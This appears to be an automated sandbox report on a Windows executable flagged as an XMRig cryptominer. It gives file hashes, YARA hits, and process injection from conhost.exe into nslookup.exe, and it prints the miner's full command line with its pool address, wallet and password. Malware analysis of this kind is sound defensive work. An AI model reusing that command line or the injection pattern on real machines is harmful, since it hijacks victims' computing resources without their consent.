Analysis
-
max time kernel
144s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 04:22
Static task
static1
Behavioral task
behavioral1
Sample
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe
Resource
win7-20240508-en
General
-
Target
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe
-
Size
2.1MB
-
MD5
c19539600ebf2db5e6c737f54947aed6
-
SHA1
50ab2dac58f9465764044025bafc0e80efda4560
-
SHA256
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8
-
SHA512
9787796350419ca30cc71d35901f2534fe0c86fd35891bf2443881cd898032d8e9fecce81039e7b0b0183d4c8895ff0b0f5796977996df0f13692c04b73734f1
-
SSDEEP
49152:YbYmmWlcWA2+SWwcCGLqROj1fZ6ejfbIQ9JuI8ig7l21O:6mYcWAUWzCqM68ejbx9o1zl2
Malware Config
Signatures
-
XMRig Miner payload 18 IoCs
Processes:
resource yara_rule behavioral1/memory/2652-11-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-12-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-13-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-14-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-15-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-16-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-17-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-18-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-28-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-25-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-22-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-19-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-29-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-31-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-32-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-30-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-33-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2652-34-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 2976 set thread context of 2652 2976 conhost.exe nslookup.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
conhost.exenslookup.exedescription pid process Token: SeDebugPrivilege 2976 conhost.exe Token: SeLockMemoryPrivilege 2652 nslookup.exe Token: SeLockMemoryPrivilege 2652 nslookup.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.execonhost.exedescription pid process target process PID 2412 wrote to memory of 2976 2412 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 2412 wrote to memory of 2976 2412 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 2412 wrote to memory of 2976 2412 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 2412 wrote to memory of 2976 2412 f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe conhost.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe PID 2976 wrote to memory of 2652 2976 conhost.exe nslookup.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\f6c053d8d61f2b67c116ceb96724a667440464cc564068776cf8cfd4b73c39c8.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\nslookup.exeC:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=47.76.24.49:19999 --user=472uBFn7ubw43vE8dfC4rjQR1bWLwHMHVFpVrgjmmBe3DFfXEDn48AzfjxtZEji9oWU6NPSARKZkfAWXJa6edjhXG3eMWaX --pass=happy --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=803⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2652-15-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-34-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-16-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-33-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-30-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-32-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-31-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-8-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-9-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-10-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-11-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-12-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-13-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-14-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-29-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-17-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-19-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-18-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-26-0x00000000000F0000-0x0000000000110000-memory.dmpFilesize
128KB
-
memory/2652-28-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-22-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-25-0x0000000140000000-0x0000000140786000-memory.dmpFilesize
7.5MB
-
memory/2652-20-0x000007FFFFFD5000-0x000007FFFFFD6000-memory.dmpFilesize
4KB
-
memory/2976-27-0x000007FEF5FB0000-0x000007FEF699C000-memory.dmpFilesize
9.9MB
-
memory/2976-1-0x000007FEF5FB3000-0x000007FEF5FB4000-memory.dmpFilesize
4KB
-
memory/2976-2-0x000000001B440000-0x000000001B658000-memory.dmpFilesize
2.1MB
-
memory/2976-7-0x000007FEF5FB0000-0x000007FEF699C000-memory.dmpFilesize
9.9MB
-
memory/2976-6-0x000007FEF5FB0000-0x000007FEF699C000-memory.dmpFilesize
9.9MB
-
memory/2976-5-0x000007FEF5FB0000-0x000007FEF699C000-memory.dmpFilesize
9.9MB
-
memory/2976-3-0x000007FEF5FB0000-0x000007FEF699C000-memory.dmpFilesize
9.9MB
-
memory/2976-0-0x0000000000170000-0x0000000000388000-memory.dmpFilesize
2.1MB